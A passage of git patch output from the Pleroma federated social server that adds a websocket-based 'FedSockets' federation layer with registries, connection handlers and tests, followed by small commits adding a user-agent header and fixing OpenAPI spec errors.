true} <- {:config, Pleroma.Config.get([:fed_sockets, :enabled], false)}, + {:ok, socket} <- FedRegistry.get_fed_socket(origin) do + {:ok, socket} + else + {:config, _} -> + {:error, :disabled} + + {:error, :rejected} -> + Logger.debug("FedSocket previously rejected - #{inspect(origin)}") + {:error, :rejected} + + {:error, reason} -> + {:error, reason} + end + end + + @doc """ + Sends the supplied data via the publish protocol. + It will not block waiting for a reply. + Returns :ok but this is not an indication of a successful transfer. + + the data is expected to be JSON encoded binary data. + """ + def publish(%SocketInfo{} = fed_socket, json) do + FedSocket.publish(fed_socket, json) + end + + @doc """ + Sends the supplied data via the fetch protocol. + It will block waiting for a reply or timeout. + + Returns {:ok, object} where object is the requested object (or nil) + {:error, :timeout} in the event the message was not responded to + + the id is expected to be the URI of an ActivityPub object. + """ + def fetch(%SocketInfo{} = fed_socket, id) do + FedSocket.fetch(fed_socket, id) + end + + @doc """ + Disconnect all and restart FedSockets. + This is mainly used in development and testing but could be useful in production. + """ + def reset do + FedRegistry + |> Process.whereis() + |> Process.exit(:testing) + end + + def uri_for_origin(origin), + do: "ws://#{origin}/api/fedsocket/v1" +end diff --git a/lib/pleroma/web/fed_sockets/fetch_registry.ex b/lib/pleroma/web/fed_sockets/fetch_registry.ex new file mode 100644 index 000000000..7897f0fc6 --- /dev/null +++ b/lib/pleroma/web/fed_sockets/fetch_registry.ex @@ -0,0 +1,151 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.FedSockets.FetchRegistry do + @moduledoc """ + The FetchRegistry acts as a broker for fetch requests and return values. + This allows calling processes to block while waiting for a reply. + It doesn't impose it's own process instead using `Cachex` to handle fetches in process, allowing + multi threaded processes to avoid bottlenecking. + + Normally outside modules will have no need to call or use the FetchRegistry themselves. + + The `Cachex` parameters can be controlled from the config. Since exact timeout intervals + aren't necessary the following settings are used by default: + + config :pleroma, :fed_sockets, + fed_socket_fetches: [ + default: 12_000, + interval: 3_000, + lazy: false + ] + + """ + + defmodule FetchRegistryData do + defstruct uuid: nil, + sent_json: nil, + received_json: nil, + sent_at: nil, + received_at: nil + end + + alias Ecto.UUID + + require Logger + + @fetches :fed_socket_fetches + + @doc """ + Registers a json request wth the FetchRegistry and returns the identifying UUID. + """ + def register_fetch(json) do + %FetchRegistryData{uuid: uuid} = + json + |> new_registry_data + |> save_registry_data + + uuid + end + + @doc """ + Reports on the status of a Fetch given the identifying UUID. + + Will return + * {:ok, fetched_object} if a fetch has completed + * {:error, :waiting} if a fetch is still pending + * {:error, other_error} usually :missing to indicate a fetch that has timed out + """ + def check_fetch(uuid) do + case get_registry_data(uuid) do + {:ok, %FetchRegistryData{received_at: nil}} -> + {:error, :waiting} + + {:ok, %FetchRegistryData{} = reg_data} -> + {:ok, reg_data} + + e -> + e + end + end + + @doc """ + Retrieves the response to a fetch given the identifying UUID. + The completed fetch will be deleted from the FetchRegistry + + Will return + * {:ok, fetched_object} if a fetch has completed + * {:error, :waiting} if a fetch is still pending + * {:error, other_error} usually :missing to indicate a fetch that has timed out + """ + def pop_fetch(uuid) do + case check_fetch(uuid) do + {:ok, %FetchRegistryData{received_json: received_json}} -> + delete_registry_data(uuid) + {:ok, received_json} + + e -> + e + end + end + + @doc """ + This is called to register a fetch has returned. + It expects the result data along with the UUID that was sent in the request + + Will return the fetched object or :error + """ + def register_fetch_received(uuid, data) do + case get_registry_data(uuid) do + {:ok, %FetchRegistryData{received_at: nil} = reg_data} -> + reg_data + |> set_fetch_received(data) + |> save_registry_data() + + {:ok, %FetchRegistryData{} = reg_data} -> + Logger.warn("tried to add fetched data twice - #{uuid}") + reg_data + + {:error, _} -> + Logger.warn("Error adding fetch to registry - #{uuid}") + :error + end + end + + defp new_registry_data(json) do + %FetchRegistryData{ + uuid: UUID.generate(), + sent_json: json, + sent_at: :erlang.monotonic_time(:millisecond) + } + end + + defp get_registry_data(origin) do + case Cachex.get(@fetches, origin) do + {:ok, nil} -> + {:error, :missing} + + {:ok, reg_data} -> + {:ok, reg_data} + + _ -> + {:error, :cache_error} + end + end + + defp set_fetch_received(%FetchRegistryData{} = reg_data, data), + do: %FetchRegistryData{ + reg_data + | received_at: :erlang.monotonic_time(:millisecond), + received_json: data + } + + defp save_registry_data(%FetchRegistryData{uuid: uuid} = reg_data) do + {:ok, true} = Cachex.put(@fetches, uuid, reg_data) + reg_data + end + + defp delete_registry_data(origin), + do: {:ok, true} = Cachex.del(@fetches, origin) +end diff --git a/lib/pleroma/web/fed_sockets/incoming_handler.ex b/lib/pleroma/web/fed_sockets/incoming_handler.ex new file mode 100644 index 000000000..49d0d9d84 --- /dev/null +++ b/lib/pleroma/web/fed_sockets/incoming_handler.ex @@ -0,0 +1,88 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.FedSockets.IncomingHandler do + require Logger + + alias Pleroma.Web.FedSockets.FedRegistry + alias Pleroma.Web.FedSockets.FedSocket + alias Pleroma.Web.FedSockets.SocketInfo + + import HTTPSignatures, only: [validate_conn: 1, split_signature: 1] + + @behaviour :cowboy_websocket + + def init(req, state) do + shake = FedSocket.shake() + + with true <- Pleroma.Config.get([:fed_sockets, :enabled]), + sec_protocol <- :cowboy_req.header("sec-websocket-protocol", req, nil), + headers = %{"(request-target)" => ^shake} <- :cowboy_req.headers(req), + true <- validate_conn(%{req_headers: headers}), + %{"keyId" => origin} <- split_signature(headers["signature"]) do + req = + if is_nil(sec_protocol) do + req + else + :cowboy_req.set_resp_header("sec-websocket-protocol", sec_protocol, req) + end + + {:cowboy_websocket, req, %{origin: origin}, %{}} + else + _ -> + {:ok, req, state} + end + end + + def websocket_init(%{origin: origin}) do + case FedRegistry.add_fed_socket(origin) do + {:ok, socket_info} -> + {:ok, socket_info} + + e -> + Logger.error("FedSocket websocket_init failed - #{inspect(e)}") + {:error, inspect(e)} + end + end + + # Use the ping to check if the connection should be expired + def websocket_handle(:ping, socket_info) do + if SocketInfo.expired?(socket_info) do + {:stop, socket_info} + else + {:ok, socket_info, :hibernate} + end + end + + def websocket_handle({:text, data}, socket_info) do + socket_info = SocketInfo.touch(socket_info) + + case FedSocket.receive_package(socket_info, data) do + {:noreply, _} -> + {:ok, socket_info} + + {:reply, reply} -> + {:reply, {:text, Jason.encode!(reply)}, socket_info} + + {:error, reason} -> + Logger.error("incoming error - receive_package: #{inspect(reason)}") + {:ok, socket_info} + end + end + + def websocket_info({:send, message}, socket_info) do + socket_info = SocketInfo.touch(socket_info) + + {:reply, {:text, message}, socket_info} + end + + def websocket_info(:close, state) do + {:stop, state} + end + + def websocket_info(message, state) do + Logger.debug("#{__MODULE__} unknown message #{inspect(message)}") + {:ok, state} + end +end diff --git a/lib/pleroma/web/fed_sockets/ingester_worker.ex b/lib/pleroma/web/fed_sockets/ingester_worker.ex new file mode 100644 index 000000000..325f2a4ab --- /dev/null +++ b/lib/pleroma/web/fed_sockets/ingester_worker.ex @@ -0,0 +1,33 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.FedSockets.IngesterWorker do + use Pleroma.Workers.WorkerHelper, queue: "ingestion_queue" + require Logger + + alias Pleroma.Web.Federator + + @impl Oban.Worker + def perform(%Job{args: %{"op" => "ingest", "object" => ingestee}}) do + try do + ingestee + |> Jason.decode!() + |> do_ingestion() + rescue + e -> + Logger.error("IngesterWorker error - #{inspect(e)}") + e + end + end + + defp do_ingestion(params) do + case Federator.incoming_ap_doc(params) do + {:error, reason} -> + {:error, reason} + + {:ok, object} -> + {:ok, object} + end + end +end diff --git a/lib/pleroma/web/fed_sockets/outgoing_handler.ex b/lib/pleroma/web/fed_sockets/outgoing_handler.ex new file mode 100644 index 000000000..6ddef17fe --- /dev/null +++ b/lib/pleroma/web/fed_sockets/outgoing_handler.ex @@ -0,0 +1,146 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.FedSockets.OutgoingHandler do + use GenServer + + require Logger + + alias Pleroma.Web.ActivityPub.InternalFetchActor + alias Pleroma.Web.FedSockets + alias Pleroma.Web.FedSockets.FedRegistry + alias Pleroma.Web.FedSockets.FedSocket + alias Pleroma.Web.FedSockets.SocketInfo + + def start_link(uri) do + GenServer.start_link(__MODULE__, %{uri: uri}) + end + + def init(%{uri: uri}) do + case initiate_connection(uri) do + {:ok, ws_origin, conn_pid} -> + FedRegistry.add_fed_socket(ws_origin, conn_pid) + + {:error, reason} -> + Logger.debug("Outgoing connection failed - #{inspect(reason)}") + :ignore + end + end + + def handle_info({:gun_ws, conn_pid, _ref, {:text, data}}, socket_info) do + socket_info = SocketInfo.touch(socket_info) + + case FedSocket.receive_package(socket_info, data) do + {:noreply, _} -> + {:noreply, socket_info} + + {:reply, reply} -> + :gun.ws_send(conn_pid, {:text, Jason.encode!(reply)}) + {:noreply, socket_info} + + {:error, reason} -> + Logger.error("incoming error - receive_package: #{inspect(reason)}") + {:noreply, socket_info} + end + end + + def handle_info(:close, state) do + Logger.debug("Sending close frame !!!!!!!") + {:close, state} + end + + def handle_info({:gun_down, _pid, _prot, :closed, _}, state) do + {:stop, :normal, state} + end + + def handle_info({:send, data}, %{conn_pid: conn_pid} = socket_info) do + socket_info = SocketInfo.touch(socket_info) + :gun.ws_send(conn_pid, {:text, data}) + {:noreply, socket_info} + end + + def handle_info({:gun_ws, _, _, :pong}, state) do + {:noreply, state, :hibernate} + end + + def handle_info(msg, state) do + Logger.debug("#{__MODULE__} unhandled event #{inspect(msg)}") + {:noreply, state} + end + + def terminate(reason, state) do + Logger.debug( + "#{__MODULE__} terminating outgoing connection for #{inspect(state)} for #{inspect(reason)}" + ) + + {:ok, state} + end + + def initiate_connection(uri) do + ws_uri = + uri + |> SocketInfo.origin() + |> FedSockets.uri_for_origin() + + %{host: host, port: port, path: path} = URI.parse(ws_uri) + + with {:ok, conn_pid} <- :gun.open(to_charlist(host), port), + {:ok, _} <- :gun.await_up(conn_pid), + reference <- :gun.get(conn_pid, to_charlist(path)), + {:response, :fin, 204, _} <- :gun.await(conn_pid, reference), + headers <- build_headers(uri), + ref <- :gun.ws_upgrade(conn_pid, to_charlist(path), headers, %{silence_pings: false}) do + receive do + {:gun_upgrade, ^conn_pid, ^ref, [<<"websocket">>], _} -> + {:ok, ws_uri, conn_pid} + after + 15_000 -> + Logger.debug("Fedsocket timeout connecting to #{inspect(uri)}") + {:error, :timeout} + end + else + {:response, :nofin, 404, _} -> + {:error, :fedsockets_not_supported} + + e -> + Logger.debug("Fedsocket error connecting to #{inspect(uri)}") + {:error, e} + end + end + + defp build_headers(uri) do + host_for_sig = uri |> URI.parse() |> host_signature() + + shake = FedSocket.shake() + digest = "SHA-256=" <> (:crypto.hash(:sha256, shake) |> Base.encode64()) + date = Pleroma.Signature.signed_date() + shake_size = byte_size(shake) + + signature_opts = %{ + "(request-target)": shake, + "content-length": to_charlist("#{shake_size}"), + date: date, + digest: digest, + host: host_for_sig + } + + signature = Pleroma.Signature.sign(InternalFetchActor.get_actor(), signature_opts) + + [ + {'signature', to_charlist(signature)}, + {'date', date}, + {'digest', to_charlist(digest)}, + {'content-length', to_charlist("#{shake_size}")}, + {to_charlist("(request-target)"), to_charlist(shake)} + ] + end + + defp host_signature(%{host: host, scheme: scheme, port: port}) do + if port == URI.default_port(scheme) do + host + else + "#{host}:#{port}" + end + end +end diff --git a/lib/pleroma/web/fed_sockets/socket_info.ex b/lib/pleroma/web/fed_sockets/socket_info.ex new file mode 100644 index 000000000..d6fdffe1a --- /dev/null +++ b/lib/pleroma/web/fed_sockets/socket_info.ex @@ -0,0 +1,52 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.FedSockets.SocketInfo do + defstruct origin: nil, + pid: nil, + conn_pid: nil, + state: :default, + connected_until: nil + + alias Pleroma.Web.FedSockets.SocketInfo + @default_connection_duration 15 * 60 * 1000 + + def build(uri, conn_pid \\ nil) do + uri + |> build_origin() + |> build_pids(conn_pid) + |> touch() + end + + def touch(%SocketInfo{} = socket_info), + do: %{socket_info | connected_until: new_ttl()} + + def connect(%SocketInfo{} = socket_info), + do: %{socket_info | state: :connected} + + def expired?(%{connected_until: connected_until}), + do: connected_until < :erlang.monotonic_time(:millisecond) + + def origin(uri), + do: build_origin(uri).origin + + defp build_pids(socket_info, conn_pid), + do: struct(socket_info, pid: self(), conn_pid: conn_pid) + + defp build_origin(uri) when is_binary(uri), + do: uri |> URI.parse() |> build_origin + + defp build_origin(%{host: host, port: nil, scheme: scheme}), + do: build_origin(%{host: host, port: URI.default_port(scheme)}) + + defp build_origin(%{host: host, port: port}), + do: %SocketInfo{origin: "#{host}:#{port}"} + + defp new_ttl do + connection_duration = + Pleroma.Config.get([:fed_sockets, :connection_duration], @default_connection_duration) + + :erlang.monotonic_time(:millisecond) + connection_duration + end +end diff --git a/lib/pleroma/web/fed_sockets/supervisor.ex b/lib/pleroma/web/fed_sockets/supervisor.ex new file mode 100644 index 000000000..a5f4bebfb --- /dev/null +++ b/lib/pleroma/web/fed_sockets/supervisor.ex @@ -0,0 +1,59 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.FedSockets.Supervisor do + use Supervisor + import Cachex.Spec + + def start_link(opts) do + Supervisor.start_link(__MODULE__, opts, name: __MODULE__) + end + + def init(args) do + children = [ + build_cache(:fed_socket_fetches, args), + build_cache(:fed_socket_rejections, args), + {Registry, keys: :unique, name: FedSockets.Registry, meta: [rejected: %{}]} + ] + + opts = [strategy: :one_for_all, name: Pleroma.Web.Streamer.Supervisor] + Supervisor.init(children, opts) + end + + defp build_cache(name, args) do + opts = get_opts(name, args) + + %{ + id: String.to_atom("#{name}_cache"), + start: {Cachex, :start_link, [name, opts]}, + type: :worker + } + end + + defp get_opts(cache_name, args) + when cache_name in [:fed_socket_fetches, :fed_socket_rejections] do + default = get_opts_or_config(args, cache_name, :default, 15_000) + interval = get_opts_or_config(args, cache_name, :interval, 3_000) + lazy = get_opts_or_config(args, cache_name, :lazy, false) + + [expiration: expiration(default: default, interval: interval, lazy: lazy)] + end + + defp get_opts(name, args) do + Keyword.get(args, name, []) + end + + defp get_opts_or_config(args, name, key, default) do + args + |> Keyword.get(name, []) + |> Keyword.get(key) + |> case do + nil -> + Pleroma.Config.get([:fed_sockets, name, key], default) + + value -> + value + end + end +end diff --git a/mix.lock b/mix.lock index a28c47017..a17e8c0fc 100644 --- a/mix.lock +++ b/mix.lock @@ -118,5 +118,5 @@ "unicode_util_compat": {:hex, :unicode_util_compat, "0.4.1", "d869e4c68901dd9531385bb0c8c40444ebf624e60b6962d95952775cac5e90cd", [:rebar3], [], "hexpm", "1d1848c40487cdb0b30e8ed975e34e025860c02e419cb615d255849f3427439d"}, "unsafe": {:hex, :unsafe, "1.0.1", "a27e1874f72ee49312e0a9ec2e0b27924214a05e3ddac90e91727bc76f8613d8", [:mix], [], "hexpm", "6c7729a2d214806450d29766abc2afaa7a2cbecf415be64f36a6691afebb50e5"}, "web_push_encryption": {:hex, :web_push_encryption, "0.3.0", "598b5135e696fd1404dc8d0d7c0fa2c027244a4e5d5e5a98ba267f14fdeaabc8", [:mix], [{:httpoison, "~> 1.0", [hex: :httpoison, repo: "hexpm", optional: false]}, {:jose, "~> 1.8", [hex: :jose, repo: "hexpm", optional: false]}], "hexpm", "f10bdd1afe527ede694749fb77a2f22f146a51b054c7fa541c9fd920fba7c875"}, - "websocket_client": {:git, "https://github.com/jeremyong/websocket_client.git", "9a6f65d05ebf2725d62fb19262b21f1805a59fbf", []}, + "websocket_client": {:git, "https://github.com/jeremyong/websocket_client.git", "9a6f65d05ebf2725d62fb19262b21f1805a59fbf", []} } diff --git a/test/web/fed_sockets/fed_registry_test.exs b/test/web/fed_sockets/fed_registry_test.exs new file mode 100644 index 000000000..19ac874d6 --- /dev/null +++ b/test/web/fed_sockets/fed_registry_test.exs @@ -0,0 +1,124 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.FedSockets.FedRegistryTest do + use ExUnit.Case + + alias Pleroma.Web.FedSockets + alias Pleroma.Web.FedSockets.FedRegistry + alias Pleroma.Web.FedSockets.SocketInfo + + @good_domain "http://good.domain" + @good_domain_origin "good.domain:80" + + setup do + start_supervised({Pleroma.Web.FedSockets.Supervisor, []}) + build_test_socket(@good_domain) + Process.sleep(10) + + :ok + end + + describe "add_fed_socket/1 without conflicting sockets" do + test "can be added" do + Process.sleep(10) + assert {:ok, %SocketInfo{origin: origin}} = FedRegistry.get_fed_socket(@good_domain_origin) + assert origin == "good.domain:80" + end + + test "multiple origins can be added" do + build_test_socket("http://anothergood.domain") + Process.sleep(10) + + assert {:ok, %SocketInfo{origin: origin_1}} = + FedRegistry.get_fed_socket(@good_domain_origin) + + assert {:ok, %SocketInfo{origin: origin_2}} = + FedRegistry.get_fed_socket("anothergood.domain:80") + + assert origin_1 == "good.domain:80" + assert origin_2 == "anothergood.domain:80" + assert FedRegistry.list_all() |> Enum.count() == 2 + end + end + + describe "add_fed_socket/1 when duplicate sockets conflict" do + setup do + build_test_socket(@good_domain) + build_test_socket(@good_domain) + Process.sleep(10) + :ok + end + + test "will be ignored" do + assert {:ok, %SocketInfo{origin: origin, pid: pid_one}} = + FedRegistry.get_fed_socket(@good_domain_origin) + + assert origin == "good.domain:80" + + assert FedRegistry.list_all() |> Enum.count() == 1 + end + + test "the newer process will be closed" do + pid_two = build_test_socket(@good_domain) + + assert {:ok, %SocketInfo{origin: origin, pid: pid_one}} = + FedRegistry.get_fed_socket(@good_domain_origin) + + assert origin == "good.domain:80" + Process.sleep(10) + + refute Process.alive?(pid_two) + + assert FedRegistry.list_all() |> Enum.count() == 1 + end + end + + describe "get_fed_socket/1" do + test "returns missing for unknown hosts" do + assert {:error, :missing} = FedRegistry.get_fed_socket("not_a_dmoain") + end + + test "returns rejected for hosts previously rejected" do + "rejected.domain:80" + |> FedSockets.uri_for_origin() + |> FedRegistry.set_host_rejected() + + assert {:error, :rejected} = FedRegistry.get_fed_socket("rejected.domain:80") + end + + test "can retrieve a previously added SocketInfo" do + build_test_socket(@good_domain) + Process.sleep(10) + assert {:ok, %SocketInfo{origin: origin}} = FedRegistry.get_fed_socket(@good_domain_origin) + assert origin == "good.domain:80" + end + + test "removes references to SocketInfos when the process crashes" do + assert {:ok, %SocketInfo{origin: origin, pid: pid}} = + FedRegistry.get_fed_socket(@good_domain_origin) + + assert origin == "good.domain:80" + + Process.exit(pid, :testing) + Process.sleep(100) + assert {:error, :missing} = FedRegistry.get_fed_socket(@good_domain_origin) + end + end + + def build_test_socket(uri) do + Kernel.spawn(fn -> fed_socket_almost(uri) end) + end + + def fed_socket_almost(origin) do + FedRegistry.add_fed_socket(origin) + + receive do + :close -> + :ok + after + 5_000 -> :timeout + end + end +end diff --git a/test/web/fed_sockets/fetch_registry_test.exs b/test/web/fed_sockets/fetch_registry_test.exs new file mode 100644 index 000000000..7bd2d995a --- /dev/null +++ b/test/web/fed_sockets/fetch_registry_test.exs @@ -0,0 +1,67 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.FedSockets.FetchRegistryTest do + use ExUnit.Case + + alias Pleroma.Web.FedSockets.FetchRegistry + alias Pleroma.Web.FedSockets.FetchRegistry.FetchRegistryData + + @json_message "hello" + @json_reply "hello back" + + setup do + start_supervised( + {Pleroma.Web.FedSockets.Supervisor, + [ + ping_interval: 8, + connection_duration: 15, + rejection_duration: 5, + fed_socket_fetches: [default: 10, interval: 10] + ]} + ) + + :ok + end + + test "fetches can be stored" do + uuid = FetchRegistry.register_fetch(@json_message) + + assert {:error, :waiting} = FetchRegistry.check_fetch(uuid) + end + + test "fetches can return" do + uuid = FetchRegistry.register_fetch(@json_message) + task = Task.async(fn -> FetchRegistry.register_fetch_received(uuid, @json_reply) end) + + assert {:error, :waiting} = FetchRegistry.check_fetch(uuid) + Task.await(task) + + assert {:ok, %FetchRegistryData{received_json: received_json}} = + FetchRegistry.check_fetch(uuid) + + assert received_json == @json_reply + end + + test "fetches are deleted once popped from stack" do + uuid = FetchRegistry.register_fetch(@json_message) + task = Task.async(fn -> FetchRegistry.register_fetch_received(uuid, @json_reply) end) + Task.await(task) + + assert {:ok, %FetchRegistryData{received_json: received_json}} = + FetchRegistry.check_fetch(uuid) + + assert received_json == @json_reply + assert {:ok, @json_reply} = FetchRegistry.pop_fetch(uuid) + + assert {:error, :missing} = FetchRegistry.check_fetch(uuid) + end + + test "fetches can time out" do + uuid = FetchRegistry.register_fetch(@json_message) + assert {:error, :waiting} = FetchRegistry.check_fetch(uuid) + Process.sleep(500) + assert {:error, :missing} = FetchRegistry.check_fetch(uuid) + end +end diff --git a/test/web/fed_sockets/socket_info_test.exs b/test/web/fed_sockets/socket_info_test.exs new file mode 100644 index 000000000..db3d6edcd --- /dev/null +++ b/test/web/fed_sockets/socket_info_test.exs @@ -0,0 +1,118 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.FedSockets.SocketInfoTest do + use ExUnit.Case + + alias Pleroma.Web.FedSockets + alias Pleroma.Web.FedSockets.SocketInfo + + describe "uri_for_origin" do + test "provides the fed_socket URL given the origin information" do + endpoint = "example.com:4000" + assert FedSockets.uri_for_origin(endpoint) =~ "ws://" + assert FedSockets.uri_for_origin(endpoint) =~ endpoint + end + end + + describe "origin" do + test "will provide the origin field given a url" do + endpoint = "example.com:4000" + assert SocketInfo.origin("ws://#{endpoint}") == endpoint + assert SocketInfo.origin("http://#{endpoint}") == endpoint + assert SocketInfo.origin("https://#{endpoint}") == endpoint + end + + test "will proide the origin field given a uri" do + endpoint = "example.com:4000" + uri = URI.parse("http://#{endpoint}") + + assert SocketInfo.origin(uri) == endpoint + end + end + + describe "touch" do + test "will update the TTL" do + endpoint = "example.com:4000" + socket = SocketInfo.build("ws://#{endpoint}") + Process.sleep(2) + touched_socket = SocketInfo.touch(socket) + + assert socket.connected_until < touched_socket.connected_until + end + end + + describe "expired?" do + setup do + start_supervised( + {Pleroma.Web.FedSockets.Supervisor, + [ + ping_interval: 8, + connection_duration: 5, + rejection_duration: 5, + fed_socket_rejections: [lazy: true] + ]} + ) + + :ok + end + + test "tests if the TTL is exceeded" do + endpoint = "example.com:4000" + socket = SocketInfo.build("ws://#{endpoint}") + refute SocketInfo.expired?(socket) + Process.sleep(10) + + assert SocketInfo.expired?(socket) + end + end + + describe "creating outgoing connection records" do + test "can be passed a string" do + assert %{conn_pid: :pid, origin: _origin} = SocketInfo.build("example.com:4000", :pid) + end + + test "can be passed a URI" do + uri = URI.parse("http://example.com:4000") + assert %{conn_pid: :pid, origin: origin} = SocketInfo.build(uri, :pid) + assert origin =~ "example.com:4000" + end + + test "will include the port number" do + assert %{conn_pid: :pid, origin: origin} = SocketInfo.build("http://example.com:4000", :pid) + + assert origin =~ ":4000" + end + + test "will provide the port if missing" do + assert %{conn_pid: :pid, origin: "example.com:80"} = + SocketInfo.build("http://example.com", :pid) + + assert %{conn_pid: :pid, origin: "example.com:443"} = + SocketInfo.build("https://example.com", :pid) + end + end + + describe "creating incoming connection records" do + test "can be passed a string" do + assert %{pid: _, origin: _origin} = SocketInfo.build("example.com:4000") + end + + test "can be passed a URI" do + uri = URI.parse("example.com:4000") + assert %{pid: _, origin: _origin} = SocketInfo.build(uri) + end + + test "will include the port number" do + assert %{pid: _, origin: origin} = SocketInfo.build("http://example.com:4000") + + assert origin =~ ":4000" + end + + test "will provide the port if missing" do + assert %{pid: _, origin: "example.com:80"} = SocketInfo.build("http://example.com") + assert %{pid: _, origin: "example.com:443"} = SocketInfo.build("https://example.com") + end + end +end -- cgit v1.2.3 From 26c571df339ebfdadf760f75871b9343131a2d81 Mon Sep 17 00:00:00 2001 From: rinpatch Date: Fri, 18 Sep 2020 16:09:37 +0300 Subject: FedSockets: fix log spam on cached rejects --- lib/pleroma/web/fed_sockets/fed_sockets.ex | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/pleroma/web/fed_sockets/fed_sockets.ex b/lib/pleroma/web/fed_sockets/fed_sockets.ex index 035d54796..1fd5899c8 100644 --- a/lib/pleroma/web/fed_sockets/fed_sockets.ex +++ b/lib/pleroma/web/fed_sockets/fed_sockets.ex @@ -104,6 +104,9 @@ def get_or_create_fed_socket(address) do Logger.debug("fedsocket found in cache - #{inspect(address)}") {:ok, socket} + {:cache, {:error, :rejected} = e} -> + e + {:connect, {:error, _host}} -> Logger.debug("set host rejected for - #{inspect(address)}") FedRegistry.set_host_rejected(address) -- cgit v1.2.3 From 26859c549c58901bbcc9dde009fd1cb81f6eb292 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Fri, 18 Sep 2020 17:49:15 -0500 Subject: Add user agent to fedsocket requests --- lib/pleroma/web/fed_sockets/outgoing_handler.ex | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/lib/pleroma/web/fed_sockets/outgoing_handler.ex b/lib/pleroma/web/fed_sockets/outgoing_handler.ex index 6ddef17fe..3ff4a85e3 100644 --- a/lib/pleroma/web/fed_sockets/outgoing_handler.ex +++ b/lib/pleroma/web/fed_sockets/outgoing_handler.ex @@ -7,6 +7,7 @@ defmodule Pleroma.Web.FedSockets.OutgoingHandler do require Logger + alias Pleroma.Application alias Pleroma.Web.ActivityPub.InternalFetchActor alias Pleroma.Web.FedSockets alias Pleroma.Web.FedSockets.FedRegistry @@ -87,7 +88,10 @@ def initiate_connection(uri) do with {:ok, conn_pid} <- :gun.open(to_charlist(host), port), {:ok, _} <- :gun.await_up(conn_pid), - reference <- :gun.get(conn_pid, to_charlist(path)), + reference <- + :gun.get(conn_pid, to_charlist(path), [ + {'user-agent', to_charlist(Application.user_agent())} + ]), {:response, :fin, 204, _} <- :gun.await(conn_pid, reference), headers <- build_headers(uri), ref <- :gun.ws_upgrade(conn_pid, to_charlist(path), headers, %{silence_pings: false}) do @@ -132,7 +136,8 @@ defp build_headers(uri) do {'date', date}, {'digest', to_charlist(digest)}, {'content-length', to_charlist("#{shake_size}")}, - {to_charlist("(request-target)"), to_charlist(shake)} + {to_charlist("(request-target)"), to_charlist(shake)}, + {'user-agent', to_charlist(Application.user_agent())} ] end -- cgit v1.2.3 From 51116b539201eb99fa89cabc88a08f92c67bfeca Mon Sep 17 00:00:00 2001 From: rinpatch Date: Sat, 19 Sep 2020 00:50:00 +0300 Subject: OpenAPI: fix various errors pointed out by editor.swagger.io --- lib/pleroma/web/api_spec/helpers.ex | 6 +++++- lib/pleroma/web/api_spec/operations/account_operation.ex | 7 +++++-- lib/pleroma/web/api_spec/operations/custom_emoji_operation.ex | 2 +- lib/pleroma/web/api_spec/operations/emoji_reaction_operation.ex | 2 +- lib/pleroma/web/api_spec/operations/list_operation.ex | 3 +-- lib/pleroma/web/api_spec/schemas/chat_message.ex | 3 ++- lib/pleroma/web/api_spec/schemas/scheduled_status.ex | 4 ++-- 7 files changed, 17 insertions(+), 10 deletions(-) diff --git a/lib/pleroma/web/api_spec/helpers.ex b/lib/pleroma/web/api_spec/helpers.ex index 2a7f1a706..34de2ed57 100644 --- a/lib/pleroma/web/api_spec/helpers.ex +++ b/lib/pleroma/web/api_spec/helpers.ex @@ -72,7 +72,11 @@ def empty_object_response do end def empty_array_response do - Operation.response("Empty array", "application/json", %Schema{type: :array, example: []}) + Operation.response("Empty array", "application/json", %Schema{ + type: :array, + items: %Schema{type: :object, example: %{}}, + example: [] + }) end def no_content_response do diff --git a/lib/pleroma/web/api_spec/operations/account_operation.ex b/lib/pleroma/web/api_spec/operations/account_operation.ex index aaebc9b5c..d90ddb787 100644 --- a/lib/pleroma/web/api_spec/operations/account_operation.ex +++ b/lib/pleroma/web/api_spec/operations/account_operation.ex @@ -372,6 +372,10 @@ def identity_proofs_operation do tags: ["accounts"], summary: "Identity proofs", operationId: "AccountController.identity_proofs", + # Validators complains about unused path params otherwise + parameters: [ + %Reference{"$ref": "#/components/parameters/accountIdOrNickname"} + ], description: "Not implemented", responses: %{ 200 => empty_array_response() @@ -469,7 +473,6 @@ defp create_response do identifier: %Schema{type: :string}, message: %Schema{type: :string} }, - required: [], # Note: example of successful registration with failed login response: # example: %{ # "identifier" => "missing_confirmed_email", @@ -530,7 +533,7 @@ defp update_credentials_request do nullable: true, oneOf: [ %Schema{type: :array, items: attribute_field()}, - %Schema{type: :object, additionalProperties: %Schema{type: attribute_field()}} + %Schema{type: :object, additionalProperties: attribute_field()} ] }, # NOTE: `source` field is not supported diff --git a/lib/pleroma/web/api_spec/operations/custom_emoji_operation.ex b/lib/pleroma/web/api_spec/operations/custom_emoji_operation.ex index 2f812ac77..5ff263ceb 100644 --- a/lib/pleroma/web/api_spec/operations/custom_emoji_operation.ex +++ b/lib/pleroma/web/api_spec/operations/custom_emoji_operation.ex @@ -69,7 +69,7 @@ defp custom_emoji do type: :object, properties: %{ category: %Schema{type: :string}, - tags: %Schema{type: :array} + tags: %Schema{type: :array, items: %Schema{type: :string}} } } ], diff --git 